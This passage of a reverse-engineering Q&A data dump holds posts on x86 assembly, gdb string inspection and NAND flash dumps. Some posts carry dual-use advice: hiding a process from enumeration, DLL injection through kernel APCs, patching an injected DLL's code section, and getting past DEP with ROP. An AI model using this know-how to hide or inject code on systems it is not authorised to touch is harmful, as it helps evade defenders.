hex(eax)&#xA;'0x10'&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;subtracting is not for alignment as you seem to be confusing it&#xA;subtracting is making space in stack &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the alignment is done with and esp,0x..... &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-12T19:15:50.403" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22114" PostTypeId="2" ParentId="22110" CreationDate="2019-09-12T20:15:50.100" Score="1" Body="&lt;p&gt;The Bytecode viewer is a great tool because it has different decompiler that you can try to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bytecodeviewer.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-09-12T20:15:50.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22115" PostTypeId="1" AcceptedAnswerId="22118" CreationDate="2019-09-13T05:52:04.537" Score="4" ViewCount="551" Body="&lt;p&gt;9(%rax, %rdx): What happens here? Is &lt;em&gt;9&lt;/em&gt; the offset? and do you add the two registers together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reading Randal E. Bryant and David R. O'Hallaran's &lt;em&gt;&quot;Computer Systems - A programmer's Persepctive&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At page 209 we are presented with a table (Operand forms):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eN3LA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eN3LA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's then possible to do a little assignment where I have to fill the empty table with values. I tried my best but am stuck as you can see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C3nNb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3nNb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9(%rax, %rdx). Is the &lt;em&gt;9&lt;/em&gt; the offset? And do you add the two registers here? Not quite sure what to add. I would really appreciate if someone could walk me through the last empty values I need to fill.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Below is the solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yb9Hq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yb9Hq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26902" LastEditorUserId="4658" LastEditDate="2019-09-13T06:35:20.220" LastActivityDate="2019-09-13T09:47:43.760" Title="Understanding operand forms" Tags="|assembly|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22116" PostTypeId="2" ParentId="22062" CreationDate="2019-09-13T07:55:44.393" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Pretty much, they will all eventually read the PEPROCESS object directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maybe not, depends on what you're trying to hide from. If it's just some basic usermode process iteration then you're probably fine. There's quite a few ways to iterate the process object directory though, such as ZwGetNextProcess.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your best bet would probably be ObRegisterCallbacks if you want to block access to your process, but it still won't be enough depending on privilege level and how they're iterated.&lt;/p&gt;&#xA;" OwnerUserId="29597" LastEditorUserId="29598" LastEditDate="2019-09-19T08:12:49.843" LastActivityDate="2019-09-19T08:12:49.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22118" PostTypeId="2" ParentId="22115" CreationDate="2019-09-13T09:47:43.760" Score="4" Body="&lt;p&gt;Welcome to the wonderful world of AT&amp;amp;T assembly! The 9 in &lt;code&gt;9(%rax, %rdx)&lt;/code&gt; is commonly called &lt;em&gt;displacement&lt;/em&gt; or sometimes &lt;em&gt;base&lt;/em&gt;, and you should indeed just add all three values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9+rax+rdx = 9+0x100+0x3 = 0x10C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This address is then dereferenced so the value 0x11 is loaded from the address 0x10C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend reading the Solaris &lt;a href=&quot;https://docs.oracle.com/cd/E26502_01/html/E28388/ennby.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 Assembly Language Reference Manual &lt;/a&gt; if you plan to stick with AT&amp;amp;T, or just switch to Intel syntax since it's much more widely used (especially in processor documentation). &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-13T09:47:43.760" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22119" PostTypeId="2" ParentId="22112" CreationDate="2019-09-13T09:51:50.763" Score="1" Body="&lt;p&gt;Stack and heap memory is not executable if DEP (data execution prevention) is enabled (default behavior on most recent OSes). You would need to disable it explicitly, remap memory as executable, or use ROP (return-oriented programming) to avoid executing data.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-13T09:51:50.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22122" PostTypeId="1" CreationDate="2019-09-13T18:40:06.237" Score="2" ViewCount="923" Body="&lt;p&gt;I'm trying to solve a crackme that was made in C++, and I was able to&#xA;&quot;recreate&quot; a function call, through the library calls the program made. Here's the piece of code that I'm trying to reverse:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string text;&#xA;getline(cin, text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the asm equivalent (getline only):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea    rax,[rbp-0x1c0]&#xA;mov    rsi,rax&#xA;mov    edi,0x6020c0&#xA;call   0x400d10 &amp;lt;std::basic_istream&amp;lt;char, std::char_traits&amp;lt;char&amp;gt; &amp;gt;&amp;amp; std::getline&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;(std::basic_istream&amp;lt;char, std::char_traits&amp;lt;char&amp;gt; &amp;gt;&amp;amp;, std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;&amp;amp;)@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is happening with the variable &lt;code&gt;text&lt;/code&gt; (Meaning: I can't seem to print the place in memory in which the raw characters are stored)?&#xA;I'm using &lt;code&gt;print *(char **)&amp;lt;register/memory&amp;gt;&lt;/code&gt; to try to find it. Where are the raw characters of this string stored after this operation? How to I find it and how to I print them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using gdb.&lt;/p&gt;&#xA;" OwnerUserId="29303" LastEditorUserId="28285" LastEditDate="2019-11-23T10:18:05.973" LastActivityDate="2019-11-23T10:18:05.973" Title="Reverse getline(cin, text)" Tags="|linux|c++|gdb|crackme|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22123" PostTypeId="2" ParentId="22122" CreationDate="2019-09-13T20:24:56.803" Score="3" Body="&lt;p&gt;use print &amp;amp;text&lt;br&gt;&#xA;or use info locals   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dir /b &amp;amp; type cin.cpp &amp;amp; g++ -g cin.cpp  &amp;amp; echo ========= &amp;amp; gdb -q a.exe&#xA;cin.cpp&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;using namespace std;    &#xA;int main (void) {&#xA;    string text;&#xA;    getline(cin,text);&#xA;}=========&#xA;Reading symbols from a.exe...done.&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x4015cf: file cin.cpp, line 6.&#xA;(gdb) r&#xA;Breakpoint 1, main () at cin.cpp:6&#xA;6           string text;&#xA;(gdb) print &amp;amp;text&#xA;$1 = (std::__cxx11::string *) 0x22fec8  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;(gdb) print text&#xA;$2 = &quot;&quot;ÿ\&quot;\000lí|w&quot;, '\000' &amp;lt;repeats 12 times&amp;gt;,&amp;lt;repeats 11 times&amp;gt;...&#xA;(gdb) ni till getline is es=xecuted&#xA;0x004015e9      7           getline(cin,text);&#xA;(gdb)&#xA;hello cin where are you hiding&#xA;6           string text;&#xA;(gdb) print text&#xA;$3 = &quot;hello cin where are you hiding&quot;&#xA;(gdb) x/s $1&#xA;0x22fec8:       &quot;ès2&quot;&#xA;(gdb) x/s *(int *)$1&#xA;0x329ae8:       &quot;hello cin where are you hiding&quot;&#xA;(gdb) x/s *(int *)&amp;amp;text&#xA;0x329ae8:       &quot;hello cin where are you hiding&quot;&#xA;(gdb) info locals&#xA;text = &quot;hello cin where are you hiding&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;64 bit mingw64 on windows 10 (first four arguments are passed in ecx,edx,r8,r9. rest in stack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source compiled without -g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat.exe gppcpp.cpp&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;using namespace std;&#xA;int main(void) {&#xA;        string text;&#xA;        getline(cin, text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled without debug info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ gppcpp.cpp&#xA;&#xA;a.exe&#xA;555&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembling function main using a file command.txt which contains the following commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat.exe commands.txt&#xA;set disassembly-flavor intel&#xA;set print asm-demangle on&#xA;break main&#xA;r&#xA;disassemble $pc&#xA;q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of main&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;gdb -batch -x commands.txt a.exe&#xA;&#xA;Breakpoint 1 at 0x401563&#xA;[New Thread 8964.0x2c38]&#xA;&#xA;Breakpoint 1, 0x0000000000401563 in main ()&#xA;Dump of assembler code for function main:&#xA;   0x0000000000401550 &amp;lt;+0&amp;gt;:     push   rbp&#xA;   0x0000000000401551 &amp;lt;+1&amp;gt;:     push   rbx&#xA;   0x0000000000401552 &amp;lt;+2&amp;gt;:     sub    rsp,0x48&#xA;   0x0000000000401556 &amp;lt;+6&amp;gt;:     lea    rbp,[rsp+0x80]&#xA;   0x000000000040155e &amp;lt;+14&amp;gt;:    call   0x401710 &amp;lt;__main&amp;gt;&#xA;=&amp;gt; 0x0000000000401563 &amp;lt;+19&amp;gt;:    lea    rax,[rbp-0x60]&#xA;   0x0000000000401567 &amp;lt;+23&amp;gt;:    mov    rcx,rax&#xA;   0x000000000040156a &amp;lt;+26&amp;gt;:    call   0x401658 &amp;lt;std::__cxx11::basic_stringxxxxxxxxxxxx&#xA;   0x000000000040156f &amp;lt;+31&amp;gt;:    lea    rax,[rbp-0x60]&#xA;   0x0000000000401573 &amp;lt;+35&amp;gt;:    mov    rdx,rax&#xA;   0x0000000000401576 &amp;lt;+38&amp;gt;:    mov    rcx,QWORD PTR [rip+0x2d93]&#xA;   0x000000000040157d &amp;lt;+45&amp;gt;:    call   0x401638 &amp;lt;std::basic_istream&amp;lt;char, std::cxxxxxxxxxxxx&#xA;   0x0000000000401582 &amp;lt;+50&amp;gt;:    lea    rax,[rbp-0x60]&#xA;   0x0000000000401586 &amp;lt;+54&amp;gt;:    mov    rcx,rax&#xA;   0x0000000000401589 &amp;lt;+57&amp;gt;:    call   0x401650 &amp;lt;std::__cxx11::basic_string&amp;lt;char,xxxxxxx&#xA;   0x000000000040158e &amp;lt;+62&amp;gt;:    mov    eax,0x0&#xA;   0x0000000000401593 &amp;lt;+67&amp;gt;:    jmp    0x4015af &amp;lt;main+95&amp;gt;&#xA;   0x0000000000401595 &amp;lt;+69&amp;gt;:    mov    rbx,rax&#xA;   0x0000000000401598 &amp;lt;+72&amp;gt;:    lea    rax,[rbp-0x60]&#xA;   0x000000000040159c &amp;lt;+76&amp;gt;:    mov    rcx,rax&#xA;   0x000000000040159f &amp;lt;+79&amp;gt;:    call   0x401650 &amp;lt;std::__cxx11::basic_string&amp;lt;char,xxxxxxxxxxxx&#xA;   0x00000000004015a4 &amp;lt;+84&amp;gt;:    mov    rax,rbx&#xA;   0x00000000004015a7 &amp;lt;+87&amp;gt;:    mov    rcx,rax&#xA;   0x00000000004015aa &amp;lt;+90&amp;gt;:    call   0x402ae0 &amp;lt;_Unwind_Resume&amp;gt;&#xA;   0x00000000004015af &amp;lt;+95&amp;gt;:    add    rsp,0x48&#xA;   0x00000000004015b3 &amp;lt;+99&amp;gt;:    pop    rbx&#xA;   0x00000000004015b4 &amp;lt;+100&amp;gt;:   pop    rbp&#xA;   0x00000000004015b5 &amp;lt;+101&amp;gt;:   ret&#xA;End of assembler dump.&#xA;A debugging session is active.&#xA;&#xA;        Inferior 1 [process 8964] will be killed.&#xA;&#xA;Quit anyway? (y or n) [answered Y; input not from terminal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the second argument is @rdx&lt;br&gt;&#xA;lets debug step few times until $rdx is initialized&lt;br&gt;&#xA;save it and execute the getline and retrieve the cin from saved variable  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;gdb -q a.exe&#xA;Reading symbols from a.exe...done.&#xA;&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x401563&#xA;&#xA;(gdb) r&#xA;Starting program: F:\src\gppcpp\a.exe&#xA;[New Thread 6832.0x13c4]&#xA;Breakpoint 1, 0x0000000000401563 in main ()&#xA;&#xA;(gdb) ni 6&#xA;0x000000000040157d in main ()&#xA;&#xA;(gdb) set print  asm-demangle on&#xA;&#xA;(gdb) x/i $pc&#xA;=&amp;gt; 0x40157d &amp;lt;main+45&amp;gt;:&#xA;    callq  0x401638 &amp;lt;std::basic_istream&amp;lt;char, xxxxxxxxxx&#xA;&#xA;(gdb) print $rdx&#xA;$1 = 6422000&#xA;&#xA;(gdb) ni&#xA;hello uncanny the cin is at saved variable $1&#xA;&#xA;0x0000000000401582 in main ()&#xA;&#xA;(gdb) x/s *(char **)$1&#xA;0x143a60:       &quot;hello uncanny the cin is at saved variable $1&quot;&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-09-15T20:53:06.403" LastActivityDate="2019-09-15T20:53:06.403" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22124" PostTypeId="2" ParentId="22110" CreationDate="2019-09-14T02:57:35.247" Score="3" Body="&lt;p&gt;I develop &lt;a href=&quot;https://github.com/Col-E/Recaf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recaf&lt;/a&gt;, a free Java bytecode editor. Recaf currently supports &lt;em&gt;most&lt;/em&gt; of what you're looking for in the current release &lt;em&gt;(Decompile via &lt;a href=&quot;http://benf.org/other/cfr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFR&lt;/a&gt;, class/member renaming, a verbose search feature, and contextual actions on the decompiled code)&lt;/em&gt;. Right now it's going through a rewrite which will include even more of the features you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any questions / feedback I'd appreciate if you'd check out the project.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also if you're reverse engineering obfuscated samples check out &lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java-Deobfuscator&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20336" LastEditorUserId="20336" LastEditDate="2019-09-14T03:04:37.207" LastActivityDate="2019-09-14T03:04:37.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22125" PostTypeId="1" CreationDate="2019-09-14T13:53:06.730" Score="1" ViewCount="1310" Body="&lt;p&gt;I have NAND flash memory dump, as a separate MTD partitions copied from NAND flash chip use built-in nanddump commands. I need to reflash some corrupted MTD partitions. In order to reflash partitions properly, should I use the partition dump that contain only the &lt;em&gt;actual data&lt;/em&gt;, cleaned first from OOB data dummy chunks?&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2019-09-14T14:02:49.273" LastActivityDate="2020-11-09T13:05:45.577" Title="Using NAND flash dump with OOB data" Tags="|binary-analysis|firmware|flash|memory-dump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22126" PostTypeId="2" ParentId="22086" CreationDate="2019-09-14T20:16:56.950" Score="1" Body="&lt;p&gt;The first two lines are function prologue and you will see them at the beginning of almost every function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH       EBP&#xA;MOV        EBP,ESP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They basically save the current &lt;code&gt;EBP&lt;/code&gt; value and then store current &lt;code&gt;ESP&lt;/code&gt; into &lt;code&gt;EBP&lt;/code&gt;, so that the local variables and function arguments can be accessed via &lt;code&gt;EBP&lt;/code&gt; (&lt;code&gt;ESP&lt;/code&gt; has to change when you allocate the memory on the stack). In this case, function arguments passed via the stack will be accessed by &lt;code&gt;[RBP + offset]&lt;/code&gt; while local variables by &lt;code&gt;[RBP - offset]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next line is about memory allocation - function reserves &lt;code&gt;8&lt;/code&gt; bytes for its own use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUB        ESP,0x8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the next three lines, there is a protection against &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;buffer overflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV        EAX,[___security_cookie]&#xA;XOR        EAX,EBP&#xA;MOV        dword ptr [EBP + hello_string],EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;[EBP + hello_string]&lt;/code&gt; contains a random value when &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASLR&lt;/a&gt; is turned on. The value stored there will likely be different during each program execution and that will make it hard for potential attacker to predict it - if he fails to, it will be detected later on in the line with &lt;code&gt;CALL @__security_check_cookie@4&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to note here, that the local variable (offset) that you named &lt;code&gt;hello_string&lt;/code&gt; doesn't have anything in common with the &quot;Hello Word&quot; string - it's there only for preventing exploits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's skip the next two lines for a moment - we'll come back to them later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV        ECX,dword ptr [-&amp;gt;MSVCP140.DLL::std::cin]&#xA;LEA        EAX=&amp;gt;local_c,[EBP + -0x8]&#xA;PUSH       EAX&#xA;CALL       dword ptr [-&amp;gt;MSVCP140.DLL::std::basic_istream&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line passes the global &lt;code&gt;cin&lt;/code&gt; object as a first parameter to the operator function. It's because it is the &lt;code&gt;__thiscall&lt;/code&gt; convention which (&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/cpp/thiscall?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is the default calling convention used by C++ member functions that do not use variable arguments [...] with the &lt;strong&gt;this&lt;/strong&gt; pointer being passed via register ECX, and not on the stack, on the x86 architecture. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then, the pointer to the local variable &lt;code&gt;value&lt;/code&gt; is passed and the &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; operator member function of &lt;code&gt;cin&lt;/code&gt; is being called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remaining lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV        ECX,dword ptr [EBP + hello_string]&#xA;XOR        EAX,EAX&#xA;XOR        ECX,EBP&#xA;CALL       @__security_check_cookie@4       &#xA;MOV        ESP,EBP&#xA;POP        EBP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;set &lt;code&gt;EAX&lt;/code&gt; (which will contain function return value) to &lt;code&gt;0&lt;/code&gt;, then checks whether a buffer overflow occured and then restores the &lt;code&gt;ESP&lt;/code&gt; value before allocating space for local variables and the &lt;code&gt;EBP&lt;/code&gt; value from the beginning of the function (&lt;code&gt;EBP&lt;/code&gt; has to be preserved, otherwise other functions could change it and then &lt;code&gt;ESP&lt;/code&gt; would be changed to the wrong value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two lines not analysed yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV        ECX,dword ptr [-&amp;gt;MSVCP140.DLL::std::cout]&#xA;CALL       std::operator&amp;lt;&amp;lt;&amp;lt;struct_std::char_tra&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are problematic for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The second argument to the &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; is not being passed (though it's required).&lt;/li&gt;&#xA;&lt;li&gt;As you may notice, contrary to the &lt;code&gt;cin&lt;/code&gt; case, non-member function is being called, so the first argument should have been passed via stack and not as in the &lt;code&gt;__thiscall&lt;/code&gt; convention:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; for (&lt;code&gt;cin&lt;/code&gt;, &lt;code&gt;int&lt;/code&gt;) is member function: &lt;a href=&quot;https://en.cppreference.com/w/cpp/io/basic_istream/operator_gtgt&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; for (&lt;code&gt;cout&lt;/code&gt;, &lt;code&gt;const char*&lt;/code&gt;) is non-member function: &lt;a href=&quot;https://en.cppreference.com/w/cpp/io/basic_ostream/operator_ltlt&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As you can see in the disassembly posted by @blabb, these two arguments are indeed passed via the stack, while in yours - only one is passed and not by the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it seems that this code doesn't work - it doesn't even reference the string you want to be printed.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-09-14T20:16:56.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22129" PostTypeId="1" CreationDate="2019-09-15T11:20:12.617" Score="1" ViewCount="677" Body="&lt;p&gt;I've encountered an image validation error while trying to inject dll from&#xA;driver which add apc task to be performed by alertable thread. the function task include calling to &lt;code&gt;LdrLoadDll&lt;/code&gt; with the requested dll to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTICE: this error occurs only in the latest update (1903)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The injection timing is on creation of new thread on an existing process (so that processes that existed before the driver is loaded could be injected as well - assuming new alertable threads will be created on them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, it seems that although the dll is signed, it fails on signing issue (perhaps mismatch between processes executable file and dll signatures)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the stack trace from the context of the injected processes after initial injected code tried to call ldrloaddll&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0]   CI!CipReportAndReprieveUMCIFailure + 0x563   &#xA;[0x1]   CI!CiValidateImageHeader + 0xbdb   &#xA;[0x2]   nt!SeValidateImageHeader + 0xd6   &#xA;[0x3]   nt!MiValidateSectionCreate + 0x436   &#xA;[0x4]   nt!MiValidateSectionSigningPolicy + 0xa6   &#xA;[0x5]   nt!MiValidateExistingImage + 0x12e   &#xA;[0x6]   nt!MiShareExistingControlArea + 0xc2   &#xA;[0x7]   nt!MiCreateImageOrDataSection + 0x1a3   &#xA;[0x8]   nt!MiCreateSection + 0xf4   &#xA;[0x9]   nt!MiCreateSectionCommon + 0x1ff   &#xA;[0xa]   nt!NtCreateSection + 0x60   &#xA;[0xb]   nt!KiSystemServiceCopyEnd + 0x25   &#xA;[0xc]   ntdll!NtCreateSection + 0x14   &#xA;[0xd]   ntdll!LdrpMapDllNtFileName + 0x136   &#xA;[0xe]   ntdll!LdrpMapDllFullPath + 0xe0   &#xA;[0xf]   ntdll!LdrpProcessWork + 0x74   &#xA;[0x10]   ntdll!LdrpLoadDllInternal + 0x13e   &#xA;[0x11]   ntdll!LdrpLoadDll + 0xa8   &#xA;[0x12]   ntdll!LdrLoadDll + 0xe4   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the process is image is spawned from &lt;code&gt;dllhost.exe&lt;/code&gt; and it's not revealed as protected using method &lt;code&gt;PsIsProtectedProcess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what can lead to this error ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="19879" LastEditorUserId="19879" LastEditDate="2019-09-15T18:14:39.987" LastActivityDate="2019-09-15T18:14:39.987" Title="injecting through APC using LdrLoadDll fails on `CiValidateImageHeader`" Tags="|windows|dll-injection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22130" PostTypeId="1" AcceptedAnswerId="22140" CreationDate="2019-09-15T18:29:15.263" Score="4" ViewCount="5917" Body="&lt;p&gt;There was a question about this a year ago, but the answer doesn't explain how to do it in C/C++: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18840/how-to-find-start-of-text-section&quot;&gt;How to find start of .text section?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about module start address, which we can get using GetModuleHandle(module)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about the start of text section of a DLL inside a process, so when i inject a process (using dll injection) i can get the starting address of a target DLL and patch part of its instructions, basically i know the offset of a instruction inside the DLL's file on disk, and i just want to find the start of text section and add to it that offset so i can patch it by injecting into the process that loaded it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the offset of that part inside the PE file is different from disk, for example in a test program that i checked the offset in disk was 0x300 and on memory was 0x1000 (32 bit app)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can i do this   that can work in both 32 bit and 64 bit apps?  &lt;/p&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="28109" LastEditDate="2019-09-16T04:27:10.880" LastActivityDate="2023-11-08T23:14:54.283" Title="How to find the starting address of text section of a DLL inside a process? (64 bit)" Tags="|windows|x86|x86-64|windows-10|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22131" PostTypeId="2" ParentId="22130" CreationDate="2019-09-15T19:06:01.310" Score="1" Body="&lt;p&gt;In order to get the text section of the desired dll, first you need its base address (DOS Header in other words) which leads you to its PE Header (using the &lt;code&gt;e_lfanew&lt;/code&gt; field of &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the PE Header (or in it's structured name &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt;) you'll find a field named &lt;code&gt;FileHeader&lt;/code&gt; that contain information regarding the number of sections exist in the desired image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get to the first section (again it has a structured name &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt;), you need to pass the DOS_HEADER, and NT_HEADERS by adding their size to the image's base address, and then you iterate through the sections checking it's Characteristics field for the values &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_SCN_CNT_CODE | 